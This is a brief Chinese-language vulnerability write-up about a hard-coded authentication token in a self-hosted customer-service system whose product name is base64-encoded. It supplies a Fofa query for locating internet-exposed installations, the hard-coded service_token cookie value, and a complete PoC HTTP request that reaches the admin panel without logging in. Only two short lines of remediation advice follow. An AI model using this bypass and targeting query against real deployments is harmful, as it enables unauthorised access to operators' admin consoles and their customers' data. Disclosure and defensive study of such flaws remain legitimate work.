54K55LyB5p2l5a6i5pyN57O757uf token硬编码漏洞
0x01 产品描述：
54K55LyB5p2l5a6i5pyN57O757uf是独立源码部署的客服系统，支持接入到小程序、公众号、网站、APP。私有化源码部署，数据可控，稳定可靠。可自定义版权、logo。支持网页、微信公众号、小程序、App等任何程序对接
0x02 漏洞描述：
54K55LyB5p2l5a6i5pyN57O757uf系统中存在一套token硬编码，可利用改token伪造系统登录从而绕过后端接口权限校验检查。
0x03 搜索语句：
Fofa：body="layui-form-item" && body="/admin/login/check.html"
0x04 漏洞复现：
硬编码数据如下：
Cookie:service_token=OuwfoovK%2BIdd在cookie中写入上述数据后访问admin/custom/index.html进行主页跳转
poc验证
GET /admin/custom/index.html HTTP/1.1
Host: your-ip
Cookie: service_token=OuwfoovK%2BIdd
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
X-Requested-With: XMLHttpRequest
0x05 修复建议：
禁止系统中存放任何形式的硬编码数据。
通过增加ip白名单形式控制外部访问权限。